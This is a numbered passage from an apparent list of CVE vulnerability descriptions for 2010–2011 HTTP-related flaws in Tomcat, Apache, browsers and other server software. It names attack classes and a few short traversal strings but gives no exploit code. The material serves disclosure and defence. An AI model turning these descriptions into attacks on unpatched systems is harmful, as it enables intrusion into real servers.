11942| [CVE-2011-3184] The msn_httpconn_parse_data function in httpconn.c in the MSN protocol plugin in libpurple in Pidgin before 2.10.0 does not properly handle HTTP 100 responses, which allows remote attackers to cause a denial of service (incorrect memory access and application crash) via vectors involving a crafted server message.
11943| [CVE-2011-3022] translate/translate_manager.cc in Google Chrome before 17.0.963.56 and 19.x before 19.0.1036.7 uses an HTTP session to exchange data for translation, which allows remote attackers to obtain sensitive information by sniffing the network.
11944| [CVE-2011-3014] The Mobility Pack before 1.2 in Novell Data Synchronizer 1.x through 1.1.2 build 428 does not properly restrict caching of HTTPS responses, which makes it easier for remote attackers to obtain sensitive information by leveraging an unattended workstation.
11945| [CVE-2011-3000] Mozilla Firefox before 3.6.23 and 4.x through 6, Thunderbird before 7.0, and SeaMonkey before 2.4 do not properly handle HTTP responses that contain multiple Location, Content-Length, or Content-Disposition headers, which makes it easier for remote attackers to conduct HTTP response splitting attacks via crafted header values.
11946| [CVE-2011-2960] Heap-based buffer overflow in httpsvr.exe 6.0.5.3 in Sunway ForceControl 6.1 SP1, SP2, and SP3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted URL.
11947| [CVE-2011-2900] Stack-based buffer overflow in the (1) put_dir function in mongoose.c in Mongoose 3.0, (2) put_dir function in yasslEWS.c in yaSSL Embedded Web Server (yasslEWS) 0.2, and (3) _shttpd_put_dir function in io_dir.c in Simple HTTPD (shttpd) 1.42 allows remote attackers to execute arbitrary code via an HTTP PUT request, as exploited in the wild in 2011.
11948| [CVE-2011-2883] The NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 attempts to validate signed DLLs by checking the certificate subject, not the signature, which allows man-in-the-middle attackers to execute arbitrary code via HTTP header data referencing a DLL that was signed with a crafted certificate.
11949| [CVE-2011-2882] Stack-based buffer overflow in the NSEPA.NsepaCtrl.1 ActiveX control in nsepa.ocx in Citrix Access Gateway Enterprise Edition 8.1 before 8.1-67.7, 9.0 before 9.0-70.5, and 9.1 before 9.1-96.4 allows remote attackers to execute arbitrary code via crafted HTTP header data.
11950| [CVE-2011-2766] The FCGI (aka Fast CGI) module 0.70 through 0.73 for Perl, as used by CGI::Fast, uses environment variable values from one request during processing of a later request, which allows remote attackers to bypass authentication via crafted HTTP headers.
11951| [CVE-2011-2732] CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.
11952| [CVE-2011-2688] SQL injection vulnerability in mysql/mysql-auth.pl in the mod_authnz_external module 3.2.5 and earlier for the Apache HTTP Server allows remote attackers to execute arbitrary SQL commands via the user field.
11953| [CVE-2011-2667] Icihttp.exe in CA Gateway Security for HTTP, as used in CA Gateway Security 8.1 before 8.1.0.69 and CA Total Defense r12, does not properly parse URLs, which allows remote attackers to execute arbitrary code or cause a denial of service (heap memory corruption and daemon crash) via a malformed request.
11954| [CVE-2011-2586] The HTTP client in Cisco IOS 12.4 and 15.0 allows user-assisted remote attackers to cause a denial of service (device crash) via a malformed HTTP response to a request for service installation, aka Bug ID CSCts12249.
11955| [CVE-2011-2526] Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.19, when sendfile is enabled for the HTTP APR or HTTP NIO connector, does not validate certain request attributes, which allows local users to bypass intended file access restrictions or cause a denial of service (infinite loop or JVM crash) by leveraging an untrusted web application.
11956| [CVE-2011-2474] Directory traversal vulnerability in the HTTP Server in Sybase EAServer 6.3.1 Developer Edition allows remote attackers to read arbitrary files via a /.\../\../\ sequence in a path.
11957| [CVE-2011-2383] Microsoft Internet Explorer 9 and earlier does not properly restrict cross-zone drag-and-drop actions, which allows user-assisted remote attackers to read cookie files via vectors involving an IFRAME element with a SRC attribute containing an http: URL that redirects to a file: URL, as demonstrated by a Facebook game, related to a "cookiejacking" issue, aka "Drag and Drop Information Disclosure Vulnerability." NOTE: this vulnerability exists because of an incomplete fix in the Internet Explorer 9 release.
11958| [CVE-2011-2344] Android Picasa in Android 3.0 and 2.x through 2.3.4 uses a cleartext HTTP session when transmitting the authToken obtained from ClientLogin, which allows remote attackers to gain privileges and access private pictures and web albums by sniffing the token from connections with picasaweb.google.com.
11959| [CVE-2011-2224] The Mobility Pack before 1.2 in Novell Data Synchronizer 1.x through 1.1.2 build 428 does not include the HTTPOnly flag in a Set-Cookie header, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks via unspecified vectors.
11960| [CVE-2011-2206] XMLParser.pm in DJabberd before 0.85 allows remote authenticated users to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference, a different vulnerability than CVE-2011-1757.
11961| [CVE-2011-2192] The Curl_input_negotiate function in http_negotiate.c in libcurl 7.10.6 through 7.21.6, as used in curl and other products, always performs credential delegation during GSSAPI authentication, which allows remote servers to impersonate clients via GSSAPI requests.
11962| [CVE-2011-2154] login.aspx in the SmarterTools SmarterStats 6.0 web server does not include the HTTPOnly flag in a Set-Cookie header for the loginsettings cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
11963| [CVE-2011-1977] The ASP.NET Chart controls in Microsoft .NET Framework 4, and Chart Control for Microsoft .NET Framework 3.5 SP1, do not properly verify functions in URIs, which allows remote attackers to read arbitrary files via special characters in a URI in an HTTP request, aka "Chart Control Information Disclosure Vulnerability."
11964| [CVE-2011-1928] The fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library 1.4.3 and 1.4.4, and the Apache HTTP Server 2.2.18, allows remote attackers to cause a denial of service (infinite loop) via a URI that does not match unspecified types of wildcard patterns, as demonstrated by attacks against mod_autoindex in httpd when a /*/WEB-INF/ configuration pattern is used. NOTE: this issue exists because of an incorrect fix for CVE-2011-0419.
11965| [CVE-2011-1921] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x and 1.6.x before 1.6.17, when the SVNPathAuthz short_circuit option is disabled, does not properly enforce permissions for files that had been publicly readable in the past, which allows remote attackers to obtain sensitive information via a replay REPORT operation.
11966| [CVE-2011-1895] CRLF injection vulnerability in Microsoft Forefront Unified Access Gateway (UAG) 2010 Gold, Update 1, Update 2, and SP1 allows remote attackers to inject arbitrary HTTP headers, and conduct HTTP response splitting attacks and cross-site scripting (XSS) attacks, via unspecified vectors, aka "ExcelTable Response Splitting XSS Vulnerability."
11967| [CVE-2011-1860] Unspecified vulnerability in HP Service Manager 7.02, 7.11, 9.20, and 9.21 and Service Center 6.2.8 allows remote attackers to capture HTTP session credentials via unknown vectors.
11968| [CVE-2011-1839] IBM Rational Build Forge 7.1.0 uses the HTTP GET method during redirection from the authentication servlet to a PHP script, which makes it easier for context-dependent attackers to discover session IDs by reading (1) web-server access logs, (2) web-server Referer logs, or (3) the browser history.
11969| [CVE-2011-1783] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x and 1.6.x before 1.6.17, when the SVNPathAuthz short_circuit option is enabled, allows remote attackers to cause a denial of service (infinite loop and memory consumption) in opportunistic circumstances by requesting data.
11970| [CVE-2011-1752] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.17, allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via a request for a baselined WebDAV resource, as exploited in the wild in May 2011.
11971| [CVE-2011-1710] Multiple integer overflows in the HTTP server in the Novell XTier framework 3.1.8 allow remote attackers to cause a denial of service (service crash) or possibly execute arbitrary code via crafted header length variables.
11972| [CVE-2011-1709] GNOME Display Manager (gdm) before 2.32.2, when glib 2.28 is used, enables execution of a web browser with the uid of the gdm account, which allows local users to gain privileges via vectors involving the x-scheme-handler/http MIME type.
11973| [CVE-2011-1688] Directory traversal vulnerability in Best Practical Solutions RT 3.2.0 through 3.6.10, 3.8.0 through 3.8.9, and 4.0.0rc through 4.0.0rc7 allows remote attackers to read arbitrary files via a crafted HTTP request.
11974| [CVE-2011-1610] Multiple SQL injection vulnerabilities in xmldirectorylist.jsp in the embedded Apache HTTP Server component in Cisco Unified Communications Manager (aka CUCM, formerly CallManager) 6.x before 6.1(5)su3, 7.x before 7.1(5)su4, 8.0 before 8.0(3a)su2, and 8.5 before 8.5(1)su1 allow remote attackers to execute arbitrary SQL commands via the (1) f, (2) l, or (3) n parameter, aka Bug ID CSCtj42064.
11975| [CVE-2011-1582] Apache Tomcat 7.0.12 and 7.0.13 processes the first request to a servlet without following security constraints that have been configured through annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-1088, CVE-2011-1183, and CVE-2011-1419.
11976| [CVE-2011-1499] acl.c in Tinyproxy before 1.8.3, when an Allow configuration setting specifies a CIDR block, permits TCP connections from all IP addresses, which makes it easier for remote attackers to hide the origin of web traffic by leveraging the open HTTP proxy server.
11977| [CVE-2011-1498] Apache HttpClient 4.x before 4.1.1 in Apache HttpComponents, when used with an authenticating proxy server, sends the Proxy-Authorization header to the origin server, which allows remote web servers to obtain sensitive information by logging this header.
11978| [CVE-2011-1475] The HTTP BIO connector in Apache Tomcat 7.0.x before 7.0.12 does not properly handle HTTP pipelining, which allows remote attackers to read responses intended for other clients in opportunistic circumstances by examining the application data in HTTP packets, related to "a mix-up of responses for requests from different users."
11979| [CVE-2011-1469] Unspecified vulnerability in the Streams component in PHP before 5.3.6 allows context-dependent attackers to cause a denial of service (application crash) by accessing an ftp:// URL during use of an HTTP proxy with the FTP wrapper.
11980| [CVE-2011-1465] The SPDY implementation in net/http/http_network_transaction.cc in Google Chrome before 11.0.696.14 drains the bodies from SPDY responses, which might allow remote SPDY servers to cause a denial of service (application exit) by canceling a stream.
11981| [CVE-2011-1419] Apache Tomcat 7.x before 7.0.11, when web.xml has no security constraints, does not follow ServletSecurity annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests to a web application. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-1088.
11982| [CVE-2011-1406] Mahara before 1.3.6 does not properly handle an https URL in the wwwroot configuration setting, which makes it easier for user-assisted remote attackers to obtain credentials by sniffing the network at a time when an http URL is used for a login.
11983| [CVE-2011-1398] The sapi_header_op function in main/SAPI.c in PHP before 5.3.11 and 5.4.x before 5.4.0RC2 does not check for %0D sequences (aka carriage return characters), which allows remote attackers to bypass an HTTP response-splitting protection mechanism via a crafted URL, related to improper interaction between the PHP header function and certain browsers, as demonstrated by Internet Explorer and Google Chrome.
11984| [CVE-2011-1360] Multiple cross-site scripting (XSS) vulnerabilities in IBM HTTP Server 2.0.47 and earlier, as used in WebSphere Application Server and other products, allow remote attackers to inject arbitrary web script or HTML via vectors involving unspecified documentation files in (1) manual/ibm/ and (2) htdocs/*/manual/ibm/.
11985| [CVE-2011-1357] Cross-site scripting (XSS) vulnerability in agentDetect.jsp in the web UI in IBM WebSphere Service Registry and Repository (WSRR) 6.3 before 6.3.0.5, 7.0 before 7.0.0.5, and 7.5 before 7.5.0.1 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
11986| [CVE-2011-1316] The Session Initiation Protocol (SIP) Proxy in the HTTP Transport component in IBM WebSphere Application Server (WAS) before 7.0.0.15 allows remote attackers to cause a denial of service (worker thread exhaustion and UDP messaging outage) by sending many UDP messages.
11987| [CVE-2011-1262] Microsoft Internet Explorer 7 through 9 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly initialized or (2) is deleted, aka "HTTP Redirect Memory Corruption Vulnerability."
11988| [CVE-2011-1246] Microsoft Internet Explorer 8 does not properly handle content settings in HTTP responses, which allows remote web servers to obtain sensitive information from a different (1) domain or (2) zone via a crafted response, aka "MIME Sniffing Information Disclosure Vulnerability."
11989| [CVE-2011-1184] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not have the expected countermeasures against replay attacks, which makes it easier for remote attackers to bypass intended access restrictions by sniffing the network for valid requests, related to lack of checking of nonce (aka server nonce) and nc (aka nonce-count or client nonce count) values.
11990| [CVE-2011-1183] Apache Tomcat 7.0.11, when web.xml has no login configuration, does not follow security constraints, which allows remote attackers to bypass intended access restrictions via HTTP requests to a meta-data complete web application. NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-1088 and CVE-2011-1419.
11991| [CVE-2011-1176] The configuration merger in itk.c in the Steinar H. Gunderson mpm-itk Multi-Processing Module 2.2.11-01 and 2.2.11-02 for the Apache HTTP Server does not properly handle certain configuration sections that specify NiceValue but not AssignUserID, which might allow remote attackers to gain privileges by leveraging the root uid and root gid of an mpm-itk process.
11992| [CVE-2011-1088] Apache Tomcat 7.x before 7.0.10 does not follow ServletSecurity annotations, which allows remote attackers to bypass intended access restrictions via HTTP requests to a web application.
11993| [CVE-2011-1015] The is_cgi method in CGIHTTPServer.py in the CGIHTTPServer module in Python 2.5, 2.6, and 3.0 allows remote attackers to read script source code via an HTTP GET request that lacks a / (slash) character at the beginning of the URI.
11994| [CVE-2011-0789] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 10.1.2.3 allows remote attackers to affect integrity via unknown vectors.
11995| [CVE-2011-0767] Cross-site scripting (XSS) vulnerability in the management GUI in the MX Management Server in Imperva SecureSphere Web Application Firewall 6.2, 7.x, and 8.x allows remote attackers to inject arbitrary web script or HTML via an HTTP request to a firewalled server, aka Bug ID 31759.
11996| [CVE-2011-0751] Directory traversal vulnerability in nhttpd (aka Nostromo webserver) before 1.9.4 allows remote attackers to execute arbitrary programs or read arbitrary files via a ..%2f (encoded dot dot slash) in a URI.
11997| [CVE-2011-0733] Cross-site scripting (XSS) vulnerability in Adobe ColdFusion before 9.0.1 CHF1 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header in an id=- query to a .cfm file.
11998| [CVE-2011-0715] The mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.16, allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via a request that contains a lock token.
11999| [CVE-2011-0696] Django 1.1.x before 1.1.4 and 1.2.x before 1.2.5 does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged AJAX requests that leverage a "combination of browser plugins and redirects," a related issue to CVE-2011-0447.
12000| [CVE-2011-0684] Opera before 11.01 does not properly handle redirections and unspecified other HTTP responses, which allows remote web servers to obtain sufficient access to local files to use these files as page resources, and consequently obtain potentially sensitive information from the contents of the files, via an unknown response manipulation.
12001| [CVE-2011-0633] The Net::HTTPS module in libwww-perl (LWP) before 6.00, as used in WWW::Mechanize, LWP::UserAgent, and other products, when running in environments that do not set the If-SSL-Cert-Subject header, does not enable full validation of SSL certificates by default, which allows remote attackers to spoof servers via man-in-the-middle (MITM) attacks involving hostnames that are not properly validated. NOTE: it could be argued that this is a design limitation of the Net::HTTPS API, and separate implementations should be independently assigned CVE identifiers for not working around this limitation. However, because this API was modified within LWP, a single CVE identifier has been assigned.
12002| [CVE-2011-0581] Multiple CRLF injection vulnerabilities in Adobe ColdFusion 8.0 through 9.0.1 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified tags.
12003| [CVE-2011-0534] Apache Tomcat 7.0.0 through 7.0.6 and 6.0.0 through 6.0.30 does not enforce the maxHttpHeaderSize limit for requests involving the NIO HTTP connector, which allows remote attackers to cause a denial of service (OutOfMemoryError) via a crafted request.
12004| [CVE-2011-0508] Cross-site scripting (XSS) vulnerability in system/modules/comments/Comments.php in Contao CMS 2.9.2, and possibly other versions before 2.9.3, allows remote attackers to inject arbitrary web script or HTML via the HTTP X_FORWARDED_FOR header, which is stored by system/libraries/Environment.php but not properly handled by a comments action to main.php.
12005| [CVE-2011-0447] Ruby on Rails 2.1.x, 2.2.x, and 2.3.x before 2.3.11, and 3.x before 3.0.4, does not properly validate HTTP requests that contain an X-Requested-With header, which makes it easier for remote attackers to conduct cross-site request forgery (CSRF) attacks via forged (1) AJAX or (2) API requests that leverage "combinations of browser plugins and HTTP redirects," a related issue to CVE-2011-0696.
12006| [CVE-2011-0423] The PolyVision RoomWizard with firmware 3.2.3 has a default password of roomwizard for the administrator account, which makes it easier for remote attackers to obtain console access via an HTTP session, a different vulnerability than CVE-2010-0214.
12007| [CVE-2011-0419] Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, and in fnmatch.c in libc in NetBSD 5.1, OpenBSD 4.8, FreeBSD, Apple Mac OS X 10.6, Oracle Solaris 10, and Android, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.
12008| [CVE-2011-0400] Cookie.php in Piwik before 1.1 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12009| [CVE-2011-0398] The Piwik_Common::getIP function in Piwik before 1.1 does not properly determine the client IP address, which allows remote attackers to bypass intended geolocation and logging functionality via (1) use of a private (aka RFC 1918) address behind a proxy server or (2) spoofing of the X-Forwarded-For HTTP header.
12010| [CVE-2011-0348] Cisco IOS 12.4(11)MD, 12.4(15)MD, 12.4(22)MD, 12.4(24)MD before 12.4(24)MD3, 12.4(22)MDA before 12.4(22)MDA5, and 12.4(24)MDA before 12.4(24)MDA3 on the Cisco Content Services Gateway Second Generation (aka CSG2) allows remote attackers to bypass intended access restrictions and intended billing restrictions by sending HTTP traffic to a restricted destination after sending HTTP traffic to an unrestricted destination, aka Bug ID CSCtk35917.
12011| [CVE-2011-0345] Directory traversal vulnerability in the NMS server in Alcatel-Lucent OmniVista 4760 R5.1.06.03 and earlier allows remote attackers to read arbitrary files via directory traversal sequences in HTTP GET requests, related to the lang variable.
12012| [CVE-2011-0344] Multiple stack-based buffer overflows in unspecified CGI programs in the Unified Maintenance Tool web interface in the embedded web server in the Communication Server (CS) in Alcatel-Lucent OmniPCX Enterprise before R9.0 H1.301.50 allow remote attackers to execute arbitrary code via crafted HTTP headers.
12013| [CVE-2011-0334] Stack-based buffer overflow in gwia.exe in GroupWise Internet Agent (GWIA) in Novell GroupWise 8.0 before HP3 allows remote attackers to execute arbitrary code via a long HTTP request for a .css file.
12014| [CVE-2011-0272] Unspecified vulnerability in HP LoadRunner 9.52 allows remote attackers to execute arbitrary code via network traffic to TCP port 5001 or 5002, related to the HttpTunnel feature.
12015| [CVE-2011-0212] servermgrd in Apple Mac OS X before 10.6.8 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML-RPC request containing an entity declaration in conjunction with an entity reference, related to an XML External Entity (aka XXE) issue.
12016| [CVE-2011-0207] The MobileMe component in Apple Mac OS X before 10.6.8 uses a cleartext HTTP session for the Mail application to read e-mail aliases, which allows remote attackers to obtain potentially sensitive alias information by sniffing the network.
12017| [CVE-2011-0160] WebKit, as used in Apple Safari before 5.0.4 and iOS before 4.3, does not properly handle redirects in conjunction with HTTP Basic Authentication, which might allow remote web servers to capture credentials by logging the Authorization HTTP header.
12018| [CVE-2010-5189] Blue Coat ProxySG before SGOS 4.3.4.1, 5.x before SGOS 5.4.5.1, 5.5 before SGOS 5.5.4.1, and 6.x before SGOS 6.1.1.1 allows remote authenticated users to execute arbitrary CLI commands by leveraging read-only administrator privileges and establishing an HTTPS session.
12019| [CVE-2010-5148] Websense Web Security and Web Filter before 7.1 Hotfix 21 do not set the secure flag for the Encrypted Session (SSL) cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12020| [CVE-2010-5144] The ISAPI Filter plug-in in Websense Enterprise, Websense Web Security, and Websense Web Filter 6.3.3 and earlier, when used in conjunction with a Microsoft ISA or Microsoft Forefront TMG server, allows remote attackers to bypass intended filtering and monitoring activities for web traffic via an HTTP Via header.
12021| [CVE-2010-5080] The Security/changepassword URL action in SilverStripe 2.3.x before 2.3.10 and 2.4.x before 2.4.4 passes a token as a GET parameter while changing a password through email, which allows remote attackers to obtain sensitive data and hijack the session via the HTTP referer logs on a server, aka "HTTP referer leakage."
12022| [CVE-2010-4897] SQL injection vulnerability in comment.php in BlueCMS 1.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For HTTP header in a send action.
12023| [CVE-2010-4823] Cross-site scripting (XSS) vulnerability in the httpError method in sapphire/core/control/RequestHandler.php in SilverStripe 2.3.x before 2.3.10 and 2.4.x before 2.4.4, when custom error handling is not used, allows remote attackers to inject arbitrary web script or HTML via "missing URL actions."
12024| [CVE-2010-4714] Multiple stack-based buffer overflows in Novell GroupWise before 8.02HP allow remote attackers to execute arbitrary code via a long HTTP Host header to (1) gwpoa.exe in the Post Office Agent, (2) gwmta.exe in the Message Transfer Agent, (3) gwia.exe in the Internet Agent, (4) the WebAccess Agent, or (5) the Monitor Agent.
12025| [CVE-2010-4690] The Mobile User Security (MUS) service on Cisco Adaptive Security Appliances (ASA) 5500 series devices with software before 8.3(2) does not properly authenticate HTTP requests from a Web Security appliance (WSA), which might allow remote attackers to obtain sensitive information via a HEAD request, aka Bug ID CSCte53635.
12026| [CVE-2010-4595] The Connection Manager in IBM Lotus Mobile Connect before 6.1.4 disables the http.device.stanza blacklisting functionality for HTTP Access Services (HTTP-AS), which allows remote attackers to bypass intended access restrictions via an HTTP request that contains a disallowed User-Agent header.
12027| [CVE-2010-4594] The Connection Manager in IBM Lotus Mobile Connect before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not properly process TCP connection requests, which allows remote attackers to cause a denial of service (memory consumption and HTTP-AS hang) by making many connection requests that trigger "queue size delta errors," related to a "timing hole" issue.
12028| [CVE-2010-4592] The Mobile Network Connections functionality in the Connection Manager in IBM Lotus Mobile Connect before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not properly handle failed attempts at establishing HTTP-TCP sessions, which allows remote attackers to cause a denial of service (memory consumption and daemon crash) by making many TCP connection attempts.
12029| [CVE-2010-4591] The Connection Manager in IBM Lotus Mobile Connect (LMC) before 6.1.4, when HTTP Access Services (HTTP-AS) is enabled, does not delete LTPA tokens in response to use of the iNotes Logoff button, which might allow physically proximate attackers to obtain access via an unattended client, related to a cookie domain mismatch.
12030| [CVE-2010-4590] Cross-site scripting (XSS) vulnerability in HTTP Access Services (HTTP-AS) in the Connection Manager in IBM Lotus Mobile Connect (LMC) before 6.1.4 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12031| [CVE-2010-4584] Opera before 11.00, when Opera Turbo is used, does not properly present information about problematic X.509 certificates on https web sites, which might make it easier for remote attackers to spoof trusted content via a crafted web site.
12032| [CVE-2010-4572] CRLF injection vulnerability in chart.cgi in Bugzilla before 3.2.10, 3.4.x before 3.4.10, 3.6.x before 3.6.4, and 4.0.x before 4.0rc2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the query string, a different vulnerability than CVE-2010-2761 and CVE-2010-4411.
12033| [CVE-2010-4539] The walk function in repos.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion before 1.6.15, allows remote authenticated users to cause a denial of service (NULL pointer dereference and daemon crash) via vectors that trigger the walking of SVNParentPath collections.
12034| [CVE-2010-4488] Google Chrome before 8.0.552.215 does not properly handle HTTP proxy authentication, which allows remote attackers to cause a denial of service (application crash) via unspecified vectors.
12035| [CVE-2010-4455] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Fusion Middleware 11.1.1.2 and 11.1.1.3 allows remote attackers to affect confidentiality and integrity via unknown vectors related to Apache Plugin.
12036| [CVE-2010-4411] Unspecified vulnerability in CGI.pm 3.50 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unknown vectors. NOTE: this issue exists because of an incomplete fix for CVE-2010-2761.
12037| [CVE-2010-4410] CRLF injection vulnerability in the header function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors related to non-whitespace characters preceded by newline characters, a different vulnerability than CVE-2010-2761 and CVE-2010-3172.
12038| [CVE-2010-4394] Heap-based buffer overflow in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.5 allows remote web servers to execute arbitrary code via a long Server header in a response to an HTTP request that occurs during parsing of a RealPix file.
12039| [CVE-2010-4340] libcloud before 0.4.1 does not verify SSL certificates for HTTPS connections, which allows remote attackers to spoof certificates and bypass intended access restrictions via a man-in-the-middle (MITM) attack.
12040| [CVE-2010-4312] The default configuration of Apache Tomcat 6.x does not include the HTTPOnly flag in a Set-Cookie header, which makes it easier for remote attackers to hijack a session via script access to a cookie.
12041| [CVE-2010-4235] Format string vulnerability in RealNetworks Helix Server 12.x, 13.x, and 14.x before 14.2, and Helix Mobile Server 12.x, 13.x, and 14.x before 14.2, allows remote attackers to execute arbitrary code via vectors related to the x-wap-profile HTTP header.
12042| [CVE-2010-4184] NetSupport Manager (NSM) before 11.00.0005 sends HTTP headers with cleartext fields containing details about client machines, which allows remote attackers to obtain potentially sensitive information by sniffing the network.
12043| [CVE-2010-3913] CRLF injection vulnerability in TransWARE Active! mail 6 build 6.40.010047750 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12044| [CVE-2010-3903] Unspecified vulnerability in OpenConnect before 2.23 allows remote AnyConnect SSL VPN servers to cause a denial of service (application crash) via a 404 HTTP status code.
12045| [CVE-2010-3900] Midori before 0.2.5, when WebKitGTK+ before 1.1.14 or LibSoup before 2.29.91 is used, does not verify X.509 certificates, which allows man-in-the-middle attackers to spoof arbitrary https web sites via a crafted server certificate, a related issue to CVE-2010-3312.
12046| [CVE-2010-3872] The fcgid_header_bucket_read function in fcgid_bucket.c in the mod_fcgid module before 2.3.6 for the Apache HTTP Server does not use bytewise pointer arithmetic in certain circumstances, which has unspecified impact and attack vectors related to "untrusted FastCGI applications" and a "stack buffer overwrite."
12047| [CVE-2010-3842] Absolute path traversal vulnerability in curl 7.20.0 through 7.21.1, when the --remote-header-name or -J option is used, allows remote servers to create or overwrite arbitrary files by using \ (backslash) as a separator of path components within the Content-disposition HTTP header.
12048| [CVE-2010-3831] Photos in Apple iOS before 4.2 enables support for HTTP Basic Authentication over an unencrypted connection, which allows man-in-the-middle attackers to read MobileMe account passwords by spoofing a MobileMe Gallery server during a "Send to MobileMe" action.
12049| [CVE-2010-3775] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, does not properly handle certain redirections involving data: URLs and Java LiveConnect scripts, which allows remote attackers to start processes, read arbitrary local files, and establish network connections via vectors involving a refresh value in the http-equiv attribute of a META element, which causes the wrong security principal to be used.
12050| [CVE-2010-3773] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-0179.
12051| [CVE-2010-3743] Directory traversal vulnerability in Visual Synapse HTTP Server 1.0 RC1 through RC3, and 0.60 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.
12052| [CVE-2010-3574] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that HttpURLConnection does not properly check for the allowHttpTrace permission, which allows untrusted code to perform HTTP TRACE requests.
12053| [CVE-2010-3573] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21 and 5.0 Update 25 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to missing validation of request headers in the HttpURLConnection class when they are set by applets, which allows remote attackers to bypass the intended security policy.
12054| [CVE-2010-3549] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is an HTTP request splitting vulnerability involving the handling of the chunked transfer encoding method by the HttpURLConnection class.
12055| [CVE-2010-3541] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to missing validation of request headers in the HttpURLConnection class when they are set by applets, which allows remote attackers to bypass the intended security policy.
12056| [CVE-2010-3460] Directory traversal vulnerability in the HTTP interface in AXIGEN Mail Server 7.4.1 for Windows allows remote attackers to read arbitrary files via a %5C (encoded backslash) in the URL.
12057| [CVE-2010-3315] authz.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x before 1.5.8 and 1.6.x before 1.6.13, when SVNPathAuthz short_circuit is enabled, does not properly handle a named repository as a rule scope, which allows remote authenticated users to bypass intended access restrictions via svn commands.
